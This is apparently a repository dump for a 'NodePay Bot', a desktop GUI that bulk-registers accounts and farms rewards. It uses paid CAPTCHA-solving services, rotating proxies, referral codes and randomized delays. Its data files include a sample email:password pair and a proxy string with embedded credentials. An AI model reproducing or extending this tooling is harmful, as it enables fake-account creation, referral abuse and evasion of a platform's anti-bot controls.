    "content": "import customtkinter as ctk\nfrom tkinter import filedialog, messagebox, Text, END\nimport configparser\nimport os\nimport webbrowser\nfrom core.utils import logger\nimport threading\nimport asyncio\nfrom core.utils.bot import Bot\nfrom core.captcha import ServiceAnticaptcha, ServiceCapmonster, Service2Captcha\nfrom PIL import Image, ImageTk\nimport csv\n\nCONFIG_FILE = \"data/settings.ini\"\n\nctk.set_appearance_mode(\"light\")\nctk.set_default_color_theme(\"dark-blue\")\n\nclass BotGUI:\n    def __init__(self, root):\n        self.root = root\n        self.root.title(\"NodePay Bot\")\n        self.root.geometry(\"900x700\")\n        # self.root.resizable(True, True)\n        try:\n            favicon = ImageTk.PhotoImage(Image.open(\"core/static/faviconV2.png\"))\n            self.root.iconphoto(True, favicon)\n        except Exception as e:\n            logger.error(f\"Failed to load favicon: {e}\")\n        self.config = configparser.ConfigParser()\n        self.load_settings()\n        self.threads_entry = ctk.CTkEntry(self.root)\n        self.captcha_service_var = ctk.StringVar(value=\"capmonster\")\n        self.captcha_api_entry = ctk.CTkEntry(self.root)\n        self.ref_code_entry = ctk.CTkEntry(self.root)\n        self.delay_min_entry = ctk.CTkEntry(self.root)\n        self.delay_max_entry = ctk.CTkEntry(self.root)\n        self.create_widgets()\n        self.bot = None\n        self.bot_thread = None\n        self.running = False\n        self.CaptchaService = None\n    \n    # Callback to check if it's updated correctly\n    def on_captcha_service_change(self, value):\n        logger.debug(f\"Captcha service updated to: {value}\")\n\n    def create_widgets(self):\n        self.root.configure(bg=\"#F1F3FF\")\n        self.main_frame = ctk.CTkFrame(self.root, fg_color=\"#F1F3FF\")\n        self.main_frame.pack(padx=20, pady=20, fill=\"both\", expand=True)\n\n        # Header frame\n        self.header_frame = ctk.CTkFrame(self.main_frame, fg_color=\"#F1F3FF\")\n        self.header_frame.grid(row=0, column=0, sticky=\"ew\", pady=(0, 20))\n        self.header_frame.columnconfigure(0, weight=1)\n        self.header_frame.columnconfigure(1, weight=0)\n        self.header_frame.columnconfigure(2, weight=0)\n        self.header_frame.columnconfigure(3, weight=0)  # Add this line for the new column\n\n        # Logo and title\n        self.logo_frame = ctk.CTkFrame(self.header_frame, fg_color=\"#F1F3FF\")\n        self.logo_frame.grid(row=0, column=0, sticky=\"w\")\n\n        try:\n            self.logo_image = ctk.CTkImage(light_image=Image.open(\"core/static/logo.png\"), size=(60, 60))\n            self.logo_label = ctk.CTkLabel(self.logo_frame, image=self.logo_image, text=\"\")\n            self.logo_label.pack(side=\"left\", padx=(0, 10))\n        except Exception as e:\n            logger.error(f\"Failed to load logo: {e}\")\n\n        self.nodepay_label = ctk.CTkLabel(\n            self.logo_frame,\n            text=\"NodePay+\",\n            font=(\"Helvetica\", 24, \"bold\"),\n            fg_color=\"#F1F3FF\"\n        )\n        self.nodepay_label.pack(side=\"left\")\n\n        # Watermark buttons\n        button_style = {\n            \"fg_color\": \"#593FDE\",\n            \"hover_color\": \"#452CC6\",\n            \"corner_radius\": 20,\n            \"border_width\": 2,\n            \"border_color\": \"#FFFFFF\",\n            \"text_color\": \"white\",\n            \"font\": (\"Helvetica\", 12)\n        }\n\n        self.instructions_button = ctk.CTkButton(\n            self.header_frame,\n            text=\"Instructions\",\n            command=lambda: self.open_link(\"https://teletype.in/@web3enjoyer/nodepay_plus\"),\n            **button_style\n        )\n        self.instructions_button.grid(row=0, column=1, padx=(0, 10), sticky=\"e\")\n\n        self.web3_products_button = ctk.CTkButton(\n            self.header_frame,\n            text=\"Web3 products\",\n            command=lambda: self.open_link(\"https://gemups.com/\"),\n            **button_style\n        )\n        self.web3_products_button.grid(row=0, column=2, padx=(0, 10), sticky=\"e\")\n\n        self.enjoyer_button = ctk.CTkButton(\n            self.header_frame,\n            text=\"Grass, Dawn, Gradient and more ...\",\n            command=lambda: self.open_link(\"https://t.me/web3_enjoyer_club\"),\n            **button_style\n        )\n        self.enjoyer_button.grid(row=0, column=3, padx=(0, 10), sticky=\"e\")\n\n        # Main content frame\n        self.content_frame = ctk.CTkFrame(self.main_frame, fg_color=\"#FFFFFF\", corner_radius=20)\n        self.content_frame.grid(row=1, column=0, sticky=\"nsew\", padx=20, pady=20)\n        self.main_frame.rowconfigure(1, weight=1)\n        self.main_frame.columnconfigure(0, weight=1)\n\n        # File selection frame\n        self.file_frame = ctk.CTkFrame(self.content_frame, fg_color=\"#FFFFFF\")\n        self.file_frame.pack(fill=\"x\", padx=20, pady=(20, 10))\n\n        self.accounts_label, self.accounts_button = self.create_file_selection(\"Accounts File:\", self.load_accounts_file)\n        self.proxies_label, self.proxies_button = self.create_file_selection(\"Proxies File:\", self.load_proxies_file)\n\n        # Input frame\n        self.input_frame = ctk.CTkFrame(self.content_frame, fg_color=\"#FFFFFF\")\n        self.input_frame.pack(fill=\"x\", padx=20, pady=10)\n\n        # Create a grid layout for input fields\n        self.input_frame.columnconfigure(1, weight=1)\n        self.input_frame.columnconfigure(3, weight=1)\n\n        # Captcha and API Key on the same line\n        self.captcha_label, self.captcha_menu = self.create_input_field(\"Captcha:\", ctk.CTkOptionMenu(\n            self.input_frame,\n            variable=self.captcha_service_var,\n            values=[\"capmonster\",\"anticaptcha\", \"2captcha\"],  # \"2captcha\", \"anticaptcha\", \"capsolver\",\n            width=120,\n            text_color=\"#000\",\n            command=self.on_captcha_service_change\n        ))\n        self.captcha_label.grid(row=0, column=0, sticky=\"w\", pady=5, padx=(0, 5))\n        self.captcha_menu.grid(row=0, column=1, sticky=\"w\", pady=5)\n\n        self.captcha_api_label, self.captcha_api_entry = self.create_input_field(\"API Key:\", ctk.CTkEntry(self.input_frame, width=100))\n        self.captcha_api_label.grid(row=0, column=2, sticky=\"w\", pady=5, padx=(0, 5))\n        self.captcha_api_entry.grid(row=0, column=3, sticky=\"ew\", pady=5)\n\n        # Threads and hidden Referral Code toggle on the same line\n        self.threads_label, self.threads_entry = self.create_input_field(\"Threads:\", ctk.CTkEntry(self.input_frame, width=60))\n        self.threads_label.grid(row=1, column=0, sticky=\"w\", pady=5)\n        self.threads_entry.grid(row=1, column=1, sticky=\"w\", pady=5)\n\n        self.toggle_ref_code_button = ctk.CTkButton(\n            self.input_frame,\n            text=\"⋮\",  # Vertical ellipsis character\n            command=self.toggle_ref_code_visibility,\n            width=5,\n            height=5,\n            corner_radius=25,\n            fg_color=\"#FFFFFF\",  # Changed to a very light color\n            text_color=\"#A0A0A0\",  # Changed to a light gray color\n            hover_color=\"#E9E4FF\",\n            font=(\"Helvetica\", 14, \"bold\")\n        )\n        self.toggle_ref_code_button.grid(row=1, column=1, sticky=\"e\", pady=5, padx=(0, 5))\n\n        self.ref_code_label, self.ref_code_entry = self.create_input_field(\"Referral Code:\", ctk.CTkEntry(self.input_frame, width=100))\n        self.ref_code_label.grid(row=1, column=2, sticky=\"w\", pady=5, padx=(0, 10))\n        self.ref_code_entry.grid(row=1, column=3, sticky=\"ew\", pady=5)\n\n        # Hide referral code input initially\n        self.ref_code_label.grid_remove()\n        self.ref_code_entry.grid_remove()\n\n        # Add delay inputs after the threads input\n        self.delay_label = ctk.CTkLabel(\n            self.input_frame,\n            text=\"Delay (seconds):\",\n            font=(\"Helvetica\", 14),\n            fg_color=\"#FFFFFF\",\n            text_color=\"#2E3A59\"\n        )\n        self.delay_label.grid(row=2, column=0, sticky=\"w\", pady=5, padx=(0, 5))\n\n        self.delay_min_entry = ctk.CTkEntry(self.input_frame, width=60)\n        self.delay_min_entry.grid(row=2, column=1, sticky=\"w\", pady=5)\n\n        self.delay_to_label = ctk.CTkLabel(\n            self.input_frame,\n            text=\"to\",\n            font=(\"Helvetica\", 14),\n            fg_color=\"#FFFFFF\",\n            text_color=\"#2E3A59\"\n        )\n        self.delay_to_label.grid(row=2, column=1, sticky=\"w\", pady=5, padx=(65, 0))\n\n        self.delay_max_entry = ctk.CTkEntry(self.input_frame, width=60)\n        self.delay_max_entry.grid(row=2, column=1, sticky=\"w\", pady=5, padx=(90, 0))\n\n        # Buttons frame\n        self.buttons_frame = ctk.CTkFrame(self.content_frame, fg_color=\"#FFFFFF\")\n        self.buttons_frame.pack(fill=\"x\", padx=20, pady=(10, 20))\n\n        main_button_style = {\n            \"fg_color\": \"#4A55A2\",\n            \"hover_color\": \"#3D478F\",\n            \"corner_radius\": 10,\n            \"border_width\": 0,\n            \"font\": (\"Helvetica\", 14, \"bold\"),\n            \"text_color\": \"white\"\n        }\n\n        earnings_button_style = {\n            \"fg_color\": \"#E9E4FF\",  # Light purple background\n            \"hover_color\": \"#D6D6F5\",  # Slightly darker on hover\n            \"corner_radius\": 8,\n            \"border_width\": 1,\n            \"border_color\": \"#593FDE\",  # Purple border\n            \"font\": (\"Helvetica\", 12),  # Smaller font\n            \"text_color\": \"#593FDE\",  # Purple text\n            \"width\": 100,  # Fixed width\n            \"height\": 28  # Smaller height\n        }\n\n        self.register_button = ctk.CTkButton(\n            self.buttons_frame,\n            text=\"Register Accounts\",\n            command=self.register_accounts,\n            **main_button_style\n        )\n        self.register_button.pack(side=\"left\", padx=(0, 10), expand=True, fill=\"x\")\n\n        self.mining_button = ctk.CTkButton(\n            self.buttons_frame,\n            text=\"Start Farm\",\n            command=self.start_mining,\n            **main_button_style\n        )\n        self.mining_button.pack(side=\"left\", padx=(0, 10), expand=True, fill=\"x\")\n\n        self.stop_button = ctk.CTkButton(\n            self.buttons_frame,\n            text=\"Stop Bot\",\n            command=self.stop_bot,\n            **main_button_style\n        )\n        self.stop_button.pack(side=\"left\", padx=(0, 10), expand=True, fill=\"x\")\n\n        # Add View Earnings button with different style\n        self.view_earnings_button = ctk.CTkButton(\n            self.buttons_frame,\n            text=\"View Earnings\",\n            command=self.view_earnings,\n            **earnings_button_style\n        )\n        self.view_earnings_button.pack(side=\"left\", expand=False)  # Changed to expand=False\n\n        # Log frame\n        self.log_frame = ctk.CTkFrame(self.content_frame, fg_color=\"#FFFFFF\")\n        self.log_frame.pack(fill=\"both\", expand=True, padx=20, pady=(0, 20))\n\n        self.log_box = Text(\n            self.log_frame,\n            wrap=\"word\",\n            bg=\"#F8F9FA\",\n            fg=\"#2E3A59\",\n            font=(\"Consolas\", 12),\n            relief=\"flat\",\n            borderwidth=0,\n            highlightthickness=0\n        )\n        self.log_box.pack(fill=\"both\", expand=True, padx=10, pady=10)\n\n        # Apply styles\n        self.beautify_ui()\n\n        # Load saved values\n        self.load_values()\n\n    def create_file_selection(self, label_text, command):\n        frame = ctk.CTkFrame(self.file_frame, fg_color=\"#FFFFFF\")\n        frame.pack(fill=\"x\", pady=5)\n\n        label = ctk.CTkLabel(\n            frame,\n            text=label_text,\n            font=(\"Helvetica\", 14),\n            fg_color=\"#FFFFFF\"\n        )\n        label.pack(side=\"left\")\n\n        button = ctk.CTkButton(\n            frame,\n            text=\"Select File\",\n            command=command,\n            fg_color=\"#E9E4FF\",\n            text_color=\"#2E3A59\",\n            hover_color=\"#D6D6F5\",\n            corner_radius=10,\n            width=200,\n            font=(\"Helvetica\", 14)\n        )\n        button.pack(side=\"right\")\n\n        return label, button\n\n    def create_input_field(self, label_text, widget):\n        label = ctk.CTkLabel(\n            self.input_frame,\n            text=label_text,\n            font=(\"Helvetica\", 14),\n            fg_color=\"#FFFFFF\",\n            text_color=\"#2E3A59\"\n        )\n\n        if isinstance(widget, ctk.CTkEntry):\n            widget.configure(\n                height=30,\n                font=(\"Helvetica\", 14),\n                fg_color=\"#FFFFFF\",\n                border_color=\"#4A55A2\",\n                border_width=1,\n                corner_radius=5\n            )\n        elif isinstance(widget, ctk.CTkOptionMenu):\n            widget.configure(\n                height=30,\n                font=(\"Helvetica\", 14),\n                fg_color=\"#FFFFFF\",\n                button_color=\"#4A55A2\",\n                button_hover_color=\"#3D478F\",\n                dropdown_fg_color=\"#FFFFFF\",\n                dropdown_hover_color=\"#E9E4FF\",\n                corner_radius=5\n            )\n\n        return label, widget\n\n    def open_link(self, url):\n        webbrowser.open(url)\n\n    def on_mousewheel(self, event):\n        if os.name == 'nt':\n            self.log_box.yview_scroll(int(-1*(event.delta/120)), \"units\")\n        elif event.num == 4:\n            self.log_box.yview_scroll(-1, \"units\")\n        elif event.num == 5:\n            self.log_box.yview_scroll(1, \"units\")\n\n    def load_accounts_file(self):\n        file_path = filedialog.askopenfilename(title=\"Select Accounts File\")\n        if file_path:\n            self.accounts_path = file_path\n            filename = os.path.basename(file_path)\n            self.accounts_button.configure(text=filename)\n\n    def load_proxies_file(self):\n        file_path = filedialog.askopenfilename(title=\"Select Proxies File\")\n        if file_path:\n            self.proxies_path = file_path\n            filename = os.path.basename(file_path)\n            self.proxies_button.configure(text=filename)\n\n    def save_settings(self):\n        ref_codes = [code.strip() for code in self.ref_code_entry.get().split(',') if code.strip()]\n        self.config['DEFAULT'] = {\n            'AccountsFile': getattr(self, 'accounts_path', ''),\n            'ProxiesFile': getattr(self, 'proxies_path', ''),\n            'ReferralCodes': ','.join(ref_codes),\n            'Threads': self.threads_entry.get(),\n            'CaptchaService': self.captcha_service_var.get(),\n            'CaptchaAPIKey': self.captcha_api_entry.get(),\n            'DelayMin': self.delay_min_entry.get(),\n            'DelayMax': self.delay_max_entry.get()\n        }\n        with open(CONFIG_FILE, 'w') as configfile:\n            self.config.write(configfile)\n\n    def load_settings(self):\n        if os.path.exists(CONFIG_FILE):\n            self.config.read(CONFIG_FILE)\n        else:\n            self.config['DEFAULT'] = {\n                'AccountsFile': '',\n                'ProxiesFile': '',\n                'ReferralCodes': '',\n                'Threads': '5',\n                'CaptchaService': 'capmonster',\n                'CaptchaAPIKey': '',\n                'DelayMin': '1',\n                'DelayMax': '2'\n            }\n\n    def load_values(self):\n        accounts = self.config['DEFAULT'].get('AccountsFile', '')\n        proxies = self.config['DEFAULT'].get('ProxiesFile', '')\n        self.accounts_path = accounts\n        self.proxies_path = proxies\n\n        ref_codes = self.config['DEFAULT'].get('ReferralCodes', '')\n        self.ref_code_entry.delete(0, 'end')\n        self.ref_code_entry.insert(0, ref_codes)\n        threads = self.config['DEFAULT'].get('Threads', '5')\n        self.threads_entry.insert(0, threads)\n        self.captcha_service_var.set(self.config['DEFAULT'].get('CaptchaService', 'capmonster'))\n        self.captcha_api_entry.insert(0, self.config['DEFAULT'].get('CaptchaAPIKey', ''))\n        self.delay_min_entry.insert(0, self.config['DEFAULT'].get('DelayMin', '1'))\n        self.delay_max_entry.insert(0, self.config['DEFAULT'].get('DelayMax', '2'))\n\n        if self.accounts_path:\n            accounts_filename = os.path.basename(self.accounts_path)\n            self.accounts_button.configure(text=accounts_filename)\n        if self.proxies_path:\n            proxies_filename = os.path.basename(self.proxies_path)\n            self.proxies_button.configure(text=proxies_filename)\n\n    def setup_logger(self):\n        logger.remove()\n        \n        # Configure text styles with bigger font and colors\n        self.log_box.tag_configure(\"INFO\", foreground=\"black\", font=(\"Consolas\", 14))\n        self.log_box.tag_configure(\"ERROR\", foreground=\"red\", font=(\"Consolas\", 14, \"bold\"))\n        self.log_box.tag_configure(\"WARNING\", foreground=\"orange\", font=(\"Consolas\", 14))\n        self.log_box.tag_configure(\"DEBUG\", foreground=\"purple\", font=(\"Consolas\", 14))\n        self.log_box.tag_configure(\"SUCCESS\", foreground=\"green\", font=(\"Consolas\", 14, \"bold\"))\n\n        def gui_log_sink(message):\n            log_text = message.strip()\n            level = message.record[\"level\"].name\n            if level == \"INFO\":\n                tag = \"INFO\"\n            elif level == \"ERROR\":\n                tag = \"ERROR\"\n            elif level == \"WARNING\":\n                tag = \"WARNING\"\n            elif level == \"DEBUG\":\n                tag = \"DEBUG\"\n            elif level == \"SUCCESS\":\n                tag = \"SUCCESS\"\n            else:\n                tag = \"INFO\"\n            self.root.after(0, self.append_log, log_text, tag)\n\n        logger.add(gui_log_sink, format=\"{time} {level} {message}\", level=\"DEBUG\")\n\n    def append_log(self, log_text, tag):\n        self.log_box.configure(state=\"normal\")\n        self.log_box.insert(END, log_text + \"\\n\", tag)\n        self.log_box.configure(state=\"disabled\")\n        self.log_box.see(END)\n\n    def register_accounts(self):\n        captcha_service_var = self.captcha_service_var.get()\n        if captcha_service_var == 'anticaptcha':\n            self.CaptchaService = ServiceAnticaptcha\n        elif captcha_service_var == 'capmonster':\n            self.CaptchaService = ServiceCapmonster\n        elif captcha_service_var == '2captcha':\n            self.CaptchaService = Service2Captcha\n        if not self.validate_inputs():\n            return\n        self.save_settings()\n        if not self.running:\n            ref_codes = [code.strip() for code in self.ref_code_entry.get().split(',') if code.strip()]\n            delay_min = float(self.delay_min_entry.get())\n            delay_max = float(self.delay_max_entry.get())\n            self.bot = Bot(\n                account_path=self.accounts_path,\n                proxy_path=self.proxies_path,\n                threads=int(self.threads_entry.get()),\n                ref_codes=ref_codes,\n                captcha_service=self.CaptchaService(api_key=self.captcha_api_entry.get()),\n                delay_range=(delay_min, delay_max))\n            self.bot_thread = threading.Thread(target=asyncio.run, args=(self.bot.start_registration(),), daemon=True)\n            self.bot_thread.start()\n            self.running = True\n            logger.info(\"Started account registration with slow start.\")\n\n    def start_mining(self):\n        captcha_service_var = self.captcha_service_var.get()\n        if captcha_service_var == 'anticaptcha':\n            self.CaptchaService = ServiceAnticaptcha\n        elif captcha_service_var == 'capmonster':\n            self.CaptchaService = ServiceCapmonster\n        elif captcha_service_var == '2captcha':\n            self.CaptchaService = Service2Captcha\n        if not self.validate_inputs():\n            return\n        self.save_settings()\n        if not self.running:\n            ref_codes = [code.strip() for code in self.ref_code_entry.get().split(',') if code.strip()]\n            delay_min = float(self.delay_min_entry.get())\n            delay_max = float(self.delay_max_entry.get())\n            self.bot = Bot(\n                account_path=self.accounts_path,\n                proxy_path=self.proxies_path,\n                threads=int(self.threads_entry.get()),\n                ref_codes=ref_codes,\n                captcha_service=self.CaptchaService(api_key=self.captcha_api_entry.get()),\n                delay_range=(delay_min, delay_max)\n            )\n            self.bot_thread = threading.Thread(target=asyncio.run, args=(self.bot.start_mining(),), daemon=True)\n            self.bot_thread.start()\n            self.running = True\n\n    def stop_bot(self):\n        if self.running and self.bot:\n            self.bot.stop()\n            self.running = False\n            logger.info(\"Bot stopped.\")\n            if self.bot_thread:\n                self.bot_thread.join(timeout=1)  # Wait for the thread to finish\n                # if self.bot_thread.is_alive():\n                #     logger.warning(\"Bot thread did not stop in time.\")\n        else:\n            logger.warning(\"Bot is not running.\")\n\n    def validate_inputs(self):\n        if not getattr(self, 'accounts_path', ''):\n            logger.error(\"Error: Accounts file not selected!\")\n            messagebox.showerror(\"Error\", \"Accounts file not selected!\")\n            return False\n        if not getattr(self, 'proxies_path', ''):\n            logger.error(\"Error: Proxies file not selected!\")\n            messagebox.showerror(\"Error\", \"Proxies file not selected!\")\n            return False\n        if not self.captcha_api_entry.get():\n            logger.error(\"Error: Captcha API key is missing!\")\n            messagebox.showerror(\"Error\", \"Captcha API key is missing!\")\n            return False\n        try:\n            threads = int(self.threads_entry.get())\n            if threads <= 0:\n                raise ValueError\n        except ValueError:\n            logger.error(\"Error: Number of threads must be a positive integer!\")\n            messagebox.showerror(\"Error\", \"Number of threads must be a positive integer!\")\n            return False\n        try:\n            delay_min = float(self.delay_min_entry.get())\n            delay_max = float(self.delay_max_entry.get())\n            if delay_min < 0 or delay_max < 0 or delay_min > delay_max:\n                raise ValueError\n        except ValueError:\n            logger.error(\"Error: Invalid delay range!\")\n            messagebox.showerror(\"Error\", \"Invalid delay range! Please enter valid positive numbers, with min <= max.\")\n            return False\n        return True\n\n    def beautify_ui(self):\n        self.root.configure(bg=\"#F1F3FF\")\n        self.main_frame.configure(fg_color=\"#F1F3FF\")\n\n        # Update entry styles\n        entry_style = {\n            \"fg_color\": \"#FFFFFF\",\n            \"border_color\": \"#4A55A2\",\n            \"border_width\": 1,\n            \"corner_radius\": 10\n        }\n\n        for entry in [self.threads_entry, self.captcha_api_entry, self.ref_code_entry, self.delay_min_entry, self.delay_max_entry]:\n            entry.configure(**entry_style)\n\n        # Update label styles\n        label_style = {\n            \"font\": (\"Helvetica\", 14),\n            \"text_color\": \"#2E3A59\"\n        }\n\n        for label in [self.accounts_label, self.proxies_label, self.threads_label, self.captcha_label, self.captcha_api_label, self.ref_code_label, self.delay_label]:\n            label.configure(**label_style)\n\n        # Update log box style with bigger font\n        self.log_box.configure(\n            bg=\"#F8F9FA\",\n            fg=\"#2E3A59\",\n            font=(\"Consolas\", 14),  # Increased font size\n            relief=\"flat\",\n            padx=10,\n            pady=10\n        )\n\n    def toggle_ref_code_visibility(self):\n        if self.ref_code_label.winfo_viewable():\n            self.ref_code_label.grid_remove()\n            self.ref_code_entry.grid_remove()\n            self.toggle_ref_code_button.configure(text=\"⋮\")\n        else:\n            self.ref_code_label.grid()\n            self.ref_code_entry.grid()\n            self.toggle_ref_code_button.configure(text=\"×\")\n\n    def view_earnings(self):\n        try:\n            # Store earnings window as class attribute\n            if hasattr(self, 'earnings_window') and self.earnings_window.winfo_exists():\n                self.earnings_window.lift()  # Bring window to front if it exists\n                return\n\n            with open('data/earnings.csv', 'r', newline='') as f:\n                reader = csv.reader(f)\n                next(reader)  # Skip header\n                earnings_data = list(reader)\n\n            # Create a new window to display earnings\n            self.earnings_window = ctk.CTkToplevel()\n            self.earnings_window.title(\"Account Earnings\")\n            self.earnings_window.geometry(\"500x300\")\n            self.earnings_window.configure(fg_color=\"#F1F3FF\")\n            \n            # Position the window to the right of the main window\n            main_x = self.root.winfo_x()\n            main_y = self.root.winfo_y()\n            self.earnings_window.geometry(f\"+{main_x + self.root.winfo_width() + 10}+{main_y}\")\n\n            # Create a frame for the content\n            content_frame = ctk.CTkFrame(self.earnings_window, fg_color=\"#FFFFFF\", corner_radius=10)\n            content_frame.pack(fill=\"both\", expand=True, padx=10, pady=10)\n\n            # Create a text widget to display the data\n            self.earnings_text = Text(\n                content_frame,\n                wrap=\"none\",\n                bg=\"#FFFFFF\",\n                fg=\"#2E3A59\",\n                font=(\"Consolas\", 12),\n                relief=\"flat\",\n                padx=10,\n                pady=10,\n                height=15\n            )\n            self.earnings_text.pack(fill=\"both\", expand=True, padx=5, pady=5)\n\n            # Add scrollbars\n            y_scrollbar = ctk.CTkScrollbar(content_frame, command=self.earnings_text.yview)\n            y_scrollbar.pack(side=\"right\", fill=\"y\")\n            x_scrollbar = ctk.CTkScrollbar(content_frame, command=self.earnings_text.xview, orientation=\"horizontal\")\n            x_scrollbar.pack(side=\"bottom\", fill=\"x\")\n            self.earnings_text.configure(yscrollcommand=y_scrollbar.set, xscrollcommand=x_scrollbar.set)\n\n            # Configure tags for styling\n            self.earnings_text.tag_configure(\"header\", font=(\"Consolas\", 12, \"bold\"), foreground=\"#4A55A2\")\n            self.earnings_text.tag_configure(\"separator\", foreground=\"#4A55A2\")\n            self.earnings_text.tag_configure(\"data\", font=(\"Consolas\", 11))\n            self.earnings_text.tag_configure(\"earnings\", foreground=\"#593FDE\", font=(\"Consolas\", 11, \"bold\"))\n\n            def update_earnings():\n                if not self.earnings_window.winfo_exists():\n                    return\n                \n                try:\n                    with open('data/earnings.csv', 'r', newline='') as f:\n                        reader = csv.reader(f)\n                        next(reader)  # Skip header\n                        current_data = list(reader)\n\n                    self.earnings_text.configure(state=\"normal\")\n                    self.earnings_text.delete(\"1.0\", \"end\")\n                    \n                    # Format and display the data\n                    self.earnings_text.insert(\"1.0\", f\"{'Email':<35} {'Last Update':<20} {'Total Earnings':<15}\\n\", \"header\")\n                    self.earnings_text.insert(\"2.0\", \"─\" * 70 + \"\\n\", \"separator\")\n                    \n                    for email, last_update, total_earning in current_data:\n                        line = f\"{email:<35} {last_update:<20} \"\n                        self.earnings_text.insert(\"end\", line, \"data\")\n                        self.earnings_text.insert(\"end\", f\"{total_earning:>15}\\n\", \"earnings\")\n\n                    self.earnings_text.configure(state=\"disabled\")\n                    \n                    # Schedule next update\n                    self.earnings_window.after(5000, update_earnings)  # Update every 5 seconds\n                except Exception as e:\n                    logger.error(f\"Error updating earnings: {e}\")\n\n            # Initial display\n            update_earnings()\n\n            # Make the window stay on top\n            self.earnings_window.attributes('-topmost', True)\n            self.earnings_window.update()\n\n        except FileNotFoundError:\n            messagebox.showinfo(\"No Data\", \"No earnings data available yet.\")\n        except Exception as e:\n            logger.error(f\"Error viewing earnings: {e}\")\n            messagebox.showerror(\"Error\", f\"Failed to load earnings data: {e}\")\n\nif __name__ == \"__main__\":\n    root = ctk.CTk()\n    app = BotGUI(root)\n    app.setup_logger()\n    root.mainloop()\n"
  },
  {
    "path": "data/accounts.txt",
    "content": "asdasd1222c@gmail.com:3pQ2sm,@sDE/g\n"
  },
  {
    "path": "data/proxies.txt",
    "content": "http://118.193.59.207:16666:tensd2xasd50-zone-resi-region-gb-session-f2xiRzReoFba-sessTime-3600:hppsddfosdgxs\n"
  },
  {
    "path": "data/settings.ini",
    "content": "[DEFAULT]\naccountsfile =\nproxiesfile =\nreferralcodes = \nthreads = 5\ncaptchaservice = capmonster\ncaptchaapikey =\ndelaymin = 1\ndelaymax = 2\n\n"
  },
  {
    "path": "main.py",
    "content": "import asyncio\nimport sys\nfrom core.utils.logger import logger\n\ndef check_tkinter_available():\n    try:\n        import customtkinter\n        return True\n    except ImportError:\n        return False\n\nif __name__ == \"__main__\":\n    if sys.platform == 'win32':\n        asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())\n\n    try:\n        if check_tkinter_available():\n            logger.info(\"Starting GUI version...\")\n            import customtkinter as ctk\n            from customtkinter_gui import BotGUI\n\n            root = ctk.CTk()\n            app = BotGUI(root)\n            app.setup_logger()\n            root.mainloop()\n        else:\n            logger.info(\"Starting console version...\")\n            from core.menu import ConsoleMenu\n            menu = ConsoleMenu()\n            asyncio.run(menu.run())\n                \n    except KeyboardInterrupt:\n        logger.info(\"Application terminated by user\")\n"
  },
  {
    "path": "requirements.txt",
    "content": "PyJWT~=2.9.0\nloguru~=0.7.2\npyuseragents~=1.0.5\ncapmonster_python==3.2.0\nFaker~=30.6.0\ntenacity~=9.0.0\nart~=6.3\ntermcolor~=2.5.0\nflet~=0.24.1\ncustomtkinter~=5.2.2\npillow~=11.0.0\ncurl_cffi~=0.7.3\nrandom-username~=1.0.2\nbetter-proxy==1.2.0\nanticaptchaofficial\n2captcha-python"
  }
]